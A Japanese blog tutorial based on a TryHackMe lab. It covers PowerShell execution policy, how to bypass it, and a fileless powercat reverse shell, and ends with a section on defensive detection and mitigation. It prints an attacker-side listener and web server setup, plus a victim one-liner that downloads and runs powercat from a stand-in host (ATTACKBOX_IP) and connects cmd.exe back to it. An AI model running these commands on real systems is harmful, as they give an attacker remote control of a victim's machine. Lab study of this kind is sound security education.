1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

PowerShell 武器化入門― Execution Policy から PowerShell Reverse Shell まで

1
Last updated at Posted at 2026-02-03

はじめに

PowerShell(PSH)は、Windows に標準搭載された オブジェクト指向シェルであり、.NET(DLR)上で動作します。
管理・自動化のための正規ツールである一方、その強力さゆえ Red Team にとって極めて重要な武器にもなります。

TryHackMe の Hacking with PowerShell / Weaponization 系ルームでは、
「なぜ PowerShell が攻撃に使われるのか」を体感的に理解できます。


1. PowerShell が Red Team に好まれる理由

PowerShell が“選ばれる”理由はシンプルです。

  • Windows 標準搭載(LOLbins / Living off the Land)
  • .NET API に直接アクセス可能
  • メモリ内実行が可能(ファイルレス)
  • 正規管理用途と見分けがつきにくい

つまり

追加ツールを落とさずに、すでにある武器で戦える

Blue Team 側から見ると、ここが一番イヤなポイントです。


2. 最初の一歩:PowerShell スクリプトを実行する

サンプルスクリプト

Write-Output "Welcome to the Weaponization Room!"

thm.ps1 として保存し、CMD から実行します。

powershell -File thm.ps1

すると、多くの Windows 環境では次のエラーが出ます。

cannot be loaded because running scripts is disabled on this system

これは Execution Policy による制限です。


3. Execution Policy とは何か?

Execution Policy は PowerShell スクリプト実行に関するポリシーです。
デフォルトでは以下の状態になっています。

Get-ExecutionPolicy
Restricted

Restricted の意味

  • ✔ 対話的コマンドはOK
  • .ps1 スクリプトは実行不可

つまり

「コピペはOK、ファイル実行はNG」


4. Execution Policy の変更(CurrentUser)

学習環境では、次のように変更できます。

Set-ExecutionPolicy -Scope CurrentUser RemoteSigned
  • CurrentUser:ユーザー単位(システム全体ではない)
  • RemoteSigned
    • ローカルスクリプト → 実行可
    • 外部取得スクリプト → 署名必須

本番環境での安易な変更は危険。Blue Team 視点では検知対象です。


5. ポリシーを“無視”して実行する方法(重要)

Execution Policy は セキュリティ境界ではありません
PowerShell 起動時の引数で簡単に回避できます。

powershell -ExecutionPolicy Bypass -File thm.ps1

これでスクリプトは実行されます。

ここがポイント

Execution Policy は「抑止」ではなく「事故防止」

Red Team が本気を出すと、普通に越えてきます。


6. PowerShell による Reverse Shell(powercat)

ここからは ラボ環境前提での解説です。

powercat とは?

  • PowerShell 製の netcat 互換ツール
  • ファイルレス実行が可能
  • Reverse / Bind shell 両対応

7. AttackBox 側の準備

powercat の取得

git clone https://github.com/besimorhino/powercat.git

Web サーバ起動

cd powercat
python3 -m http.server 8080

待ち受け(Reverse Shell 受信)

nc -lvp 1337

8. Victim 側:PowerShell ワンライナー

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://ATTACKBOX_IP:8080/powercat.ps1'); powercat -c ATTACKBOX_IP -p 1337 -e cmd"

何が起きているか?

処理 内容
DownloadString powercat.ps1 を取得
IEX メモリ内で即時実行
-e cmd cmd.exe を紐づけ
-c / -p Reverse 接続

ディスクにファイルは残らない
→ これが PowerShell 攻撃の怖さ。


9. 接続成功時の挙動

AttackBox 側で接続が返ってきます。

Microsoft Windows [Version 10.0.14393]
C:\Users\thm>

ここで 完全に相手マシンの cmd を操作可能になります。


10. Blue Team 視点の重要ポイント

防御側として押さえるべき点は以下です。

🔍 検知ポイント

  • powershell.exe -ExecutionPolicy Bypass
  • IEX (New-Object Net.WebClient)
  • 不審な outbound 接続(1337 等)
  • AMSI ログ
  • Script Block Logging

🛡 対策

  • Constrained Language Mode
  • PowerShell v5 Script Block Logging
  • AMSI + EDR
  • AppLocker / WDAC
  • ネットワーク egress 制御

まとめ

PowerShell は

「最も正規で、最も危険になり得るツール」

  • Red Team:
    👉 ファイルレス・標準機能で攻撃可能
  • Blue Team:
    👉 無効化ではなく 可視化と検知 が鍵

PowerShell を理解することは、
攻撃者にも、防御者にも、避けて通れない必修科目です。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?